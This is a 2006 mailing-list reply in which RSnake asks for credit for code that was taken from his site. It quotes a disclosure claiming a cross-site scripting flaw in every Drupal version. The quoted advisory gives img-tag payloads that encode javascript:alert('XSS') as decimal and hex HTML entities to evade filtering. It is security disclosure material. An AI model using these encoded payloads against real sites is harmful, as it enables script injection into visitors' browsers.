Re: Drupal all versiyon xss cehennem.org

[RSnake]

        Hi, it would be nice if you could give me some props next time,
as this code is pulled straight from my site.  I don't mind if you
re-use it, but just plain ripping code from my site isn't super cool.

On Mon, 2 Jan 2006 [EMAIL PROTECTED] wrote:

Drupal all versiyon xss
----------------------------------------------------
site:http://www.drupal.org

Hex, Base64, Decimal site: http://liz0zim.no-ip.org/code.php
--------------------------------------------------

img tag : on

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

Decimal Value: HTML (without semicolons)

<img src=javascript:alert('XSS')>  = <img 
src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>
---------------------------------------------------------------------------------------------------------------------------------------------------------------
Decimal Value: HTML (with semicolons)

<img src=javascript:alert('XSS')>  = <img 
src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


---------------------------------------------------------------------------------------------------------------------------------------------------------------
example:
post message :<img src=javascript:alert('XSS')> not Vulnerable but <img 
src=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41>
 Vulnerable

post mesage  :<img src=javascript:alert('XSS')> not Vulnerable but <img 
src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
 Vulnerable


---------------------------------------------------------

Credit:Liz0ziM
mail:[EMAIL PROTECTED]
www.biyo.tk , www.cehennem.org

Gretz:wannacut,The_Bekir,Codexploder'tq,furtivo,R00t3rr0r,disconnect,cyberlord 
and all friend

-----------------------------------------------------------
Source:

http://liz0zim.no-ip.org/drupal.txt

------------------------------------------------------------

-R